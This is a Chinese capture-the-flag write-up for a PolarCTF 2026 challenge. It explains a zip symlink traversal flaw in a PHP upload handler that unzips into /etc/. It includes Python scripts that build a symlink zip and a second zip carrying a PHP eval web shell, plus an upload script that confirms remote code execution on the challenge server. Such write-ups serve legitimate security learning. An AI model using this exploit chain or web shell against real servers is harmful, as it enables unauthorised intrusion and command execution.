【PolarCTF2026年春季挑战赛】狗黑子最后的起舞

扫目录发现login.php

注册一个账号并登录,发现增加了一个目录,继续扫这个目录

githack恢复一下

复制代码
<?php
if (isset($_FILES['file'])) {
    $f = $_FILES['file'];
    if ($f['error'] === UPLOAD_ERR_OK) {    # 检测文件上传是否成功,UPLOAD_ERR_OK 表示无错误
        $dest = '/etc/' . time() . '_' . basename($f['name']);    # 文件名称 = 时间戳 + 原文件名,避免重名
        if (move_uploaded_file($f['tmp_name'], $dest)) {    # 将上传的临时文件移动到目标路径 $dest,成功则继续执行;$f['tmp_name'] 就是 PHP 上传文件时,系统自动生成的【临时文件路径】,脚本执行完成之后会自动删除
            $escapedDest = escapeshellarg($dest);    # 对文件路径进行 shell 转义,防止命令注入漏洞
            # unzip -o:强制解压,自动覆盖同名文件,不询问
            # -d /etc/:指定解压到 /etc/ 目录
            # 2>&1:将标准错误输出重定向到标准输出,方便查看执行结果
            exec("unzip -o $escapedDest -d /etc/ 2>&1");
            if ($code !== 0) {
                # 原文没有定义,应该是如果解压失败则再次尝试解压
                exec("unzip -o $escapedDest -d /etc/ 2>&1");
            }
            # 删除上传的 ZIP 压缩包,清理痕迹
            unlink($dest);
            echo "ghz";
        }
    }
}
?>

这段代码的漏洞点在于

复制代码
exec("unzip -o $escapedDest -d /etc/ 2>&1");

这个漏洞叫做zip符号链接攻击

那么这个恶意的zip制作方式如下

复制代码
方法1:
# 1. 创建符号链接,指向目标文件,第一个参数就是你要指向的那个文件,第二个参数就是你符号链接的名称
ln -s /etc/passwd symlink_to_passwd
# 2. 将符号链接打包进zip(保留符号链接属性)
zip --symlinks malicious.zip symlink_to_passwd


方法2:
# 或者创建一个包含要写入内容的文件
echo "malicious content" > payload.txt
ln -s /target/file.txt symlink
zip --symlinks malicious.zip symlink payload.txt

那么我们的攻击思路就很明显了:

步骤1:

首先创建一个zip压缩包,包含一个名为 link 的软链接,指向 Web 根目录(/var/www/html)。解压后,会在服务器上创建/etc/link -> /var/www/html

步骤2:

再创建一个zip压缩包,包含一个名为link/shell.php的文件。解压到/etc/时, unzip 会尝试写入/etc/link/shell.php。但是由于由于/etc/link是向/var/www/html的软链接,文件最终会被写入到/var/www/html/shell.php

攻击流程如下:

复制代码
┌─────────────────────────────────────────────────────────────┐
│  第一步:上传 link.zip                                       │
│  ┌──────────────┐                                           │
│  │   link.zip   │  包含:link -> /var/www/html (符号链接)    │
│  └──────────────┘                                           │
│         ↓ 解压后                                            │
│  当前目录出现:link (符号链接) → /var/www/html               │
└─────────────────────────────────────────────────────────────┘
                           ↓
┌─────────────────────────────────────────────────────────────┐
│  第二步:上传 shell.zip                                      │
│  ┌──────────────┐                                           │
│  │  shell.zip   │  包含:link/shell.php (WebShell 内容)      │
│  └──────────────┘                                           │
│         ↓ 解压时                                            │
│  unzip 跟随 link 符号链接,实际写入 /var/www/html/shell.php   │
│         ↓                                                   │
│  攻击者获得 WebShell,可执行任意命令!                        │
└─────────────────────────────────────────────────────────────┘

为什么要分两个ZIP进行攻击?
1、符号链接必须先存在,才能被跟随
2、如果放在同一个 ZIP 中,解压顺序不确定,可能符号链接还没创建就尝试写入
3、分两次上传解压,确保攻击顺序可控

攻击的exp.py如下

复制代码
import zipfile
import os

def create_symlink_zip(zip_name, link_name, target_path):
    """
    Creates a zip file containing a symbolic link.
    """
    # Create the zip file
    with zipfile.ZipFile(zip_name, 'w') as zf:
        # Create a ZipInfo object for the symlink
        zi = zipfile.ZipInfo(link_name)
        # Set create_system to 3 (Unix) to ensure external_attr is interpreted correctly
        zi.create_system = 3
        # Set external attributes to represent a symlink (Unix attribute 0xA000)
        # The attribute format is (mode << 16) | 0
        zi.external_attr = 0xA1ED0000  # 0xA000 for symlink, 0x1ED for 0755 permissions
        zf.writestr(zi, target_path)

def create_payload_zip(zip_name, link_name, filename, content):
    """
    Creates a zip file containing a file inside a directory named like the symlink.
    """
    with zipfile.ZipFile(zip_name, 'w') as zf:
        zf.writestr(os.path.join(link_name, filename), content)

if __name__ == "__main__":
    # ZIP 1: Symlink to the web root
    # Note: We use 'link' as the symlink name. 
    # In the second ZIP, we'll use 'link/shell.php'
    create_symlink_zip("link.zip", "link", "/var/www/html")
    
    # ZIP 2: Payload file inside the symlink directory
    create_payload_zip("shell.zip", "link", "shell.php", "<?php eval($_POST['cmd']); ?>")
    
    print("Generated link.zip and shell.zip")

由于没有上传文件的前端,再写一个脚本实现自动化上传和验证

复制代码
import requests
import os
import time

# 题目地址
TARGET_URL = "http://3d822fe3-7075-4504-8714-4f8dbd92825c.www.polarctf.com:8090/ghzpolar/gouheizi.php"
BASE_URL = "http://3d822fe3-7075-4504-8714-4f8dbd92825c.www.polarctf.com:8090/"

def upload(filename):
    print(f"[*] Uploading {filename}...")
    with open(filename, 'rb') as f:
        files = {'file': (filename, f, 'application/zip')}
        r = requests.post(TARGET_URL, files=files)
        print(f"[+] Response: {r.text.strip()}")
        return r.text

def check_shell():
    # 尝试两个可能的 shell 路径
    paths = ["shell.php", "ghzpolar/shell.php"]
    for path in paths:
        url = BASE_URL + path
        print(f"[*] Checking shell at {url}...")
        try:
            r = requests.get(url, timeout=5)
            if r.status_code == 200:
                print(f"[!!!] Shell found at {url}")
                # 简单测试一下 RCE
                r_post = requests.post(url, data={'cmd': 'echo "pwned";'})
                if "pwned" in r_post.text:
                    print("[!!!] RCE verified!")
                    return True
        except Exception as e:
            print(f"[-] Error checking {url}: {e}")
    return False

if __name__ == "__main__":
    # 1. 运行 gen_zip.py 生成压缩包
    print("[*] Generating ZIP files...")
    os.system("python gen_zip.py")
    
    # 2. 上传 link.zip
    upload("link.zip")
    
    # 3. 上传 shell.zip
    upload("shell.zip")
    
    # 4. 验证
    check_shell()

访问后门即可getshell

得到flag{aa1e3ea993e122de5de6e387db6c860}

相关推荐
笨鸟先飞,勤能补拙8 小时前
下一个十年:网络安全正在被重写
网络·人工智能·安全·web安全·网络安全·github
游戏开发爱好者89 小时前
TraceEagle 代理抓包详解,无感代理、去证书绑定与 HTTP/3 解密能力解析
网络协议·计算机网络·网络安全·ios·adb·https·udp
Chengbei1110 小时前
云存储桶漏洞检测工具OSS-2.0更新,全类型文件解析,存储桶遍历 + 敏感排查一站式完成渗透取证
网络·安全·web安全·网络安全·xss
sbjdhjd11 小时前
安全初级 | Upload 文件上传漏洞实操
android·经验分享·安全·网络安全·开源·php·apache
白猫不黑1 天前
GitHub 30K Star 的 AI 渗透测试工具
web安全·网络安全·信息安全·渗透测试·github·ai渗透测试
NOVAnet20231 天前
IDC 权威认证,南凌科技云网融合零信任落地实践:一体化 ZTNA 平台四大核心优势
网络安全·零信任·sd-wan·sase·企业网络
汽车网络安全爱好者1 天前
Public Key Infrastructure(二)— 深入理解 X.509 证书:从 RFC 5280 到 OpenSSL 实践
运维·服务器·算法·网络安全·汽车·密码学·可信计算技术
2501_915918411 天前
抓包鹰 抓包会话重放与压力测试,接口回归验证与性能压测的方法
网络协议·计算机网络·网络安全·ios·adb·https·压力测试
艺杯羹1 天前
公共 Wi-Fi 流量安全全解析:从明文监听、流量拦截到 HTTPS 降级攻防
网络·web安全·网络安全·wifi
数据知道2 天前
Windows 安全基线:组策略、UAC、Defender 深度配置
windows·安全·网络安全